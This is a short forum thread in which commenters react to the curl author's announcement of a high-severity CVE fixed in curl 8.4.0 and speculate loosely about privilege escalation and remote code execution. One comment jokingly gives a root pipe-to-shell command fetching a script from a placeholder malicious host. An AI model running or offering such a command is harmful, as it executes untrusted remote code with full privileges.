cross-posted from: https://biglemmowski.win/post/224873
Posted on twitter by Curl author Daniel Stenberg - https://nitter.cz/bagder/status/1709103920914526525
We are cutting the release cycle short and will release curl 8.4.0 on October 11, including a fix for a severity HIGH CVE. Buckle up.
… But this time actually the worst security problem found in curl in a long time
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-38545
I don’t see how a vulnerability in Curl can exist at all unless it’s privilege escalation (you don’t run curl as root do you?) And if it’s not a privilege escalation, then it sounds like it’s just a “root user can do things that you can do as root, possibly unintended” which isn’t a vulnerability at all.
sudo curl www.badactor.ru/hackme | bash !!!
Could be an RCE exploit. Doesn’t matter if it’s privilege escalation at that point because it can be used to execute a payload that can.
To top it of it seems it’s also contained in libcurl, and getting RCEd just by doing a request does not sound fun.
I’ll admit i’m out of my depth about exactly how curl works on the local system, but surely if there is a vulnerability in the “libcurl” library that is much more serious and severe then just saying “curl” is vulnerable.
I’m assuming that libcurl touches a huge amount of the linux network stack.
They specifically say the high vulnerability one affects the command line tool, not just the library. High implies privilege escalation… I’m wondering how at this point because it’s not setuid and there’s really no reason opening a TCP socket could cause it (and if it does, that’s a kernel error not curl).
Could be something curl parses that escapes the intended program boundaries. Basically the same way the latest image vulnerabilities affecting iOS, Android and browsers has been happening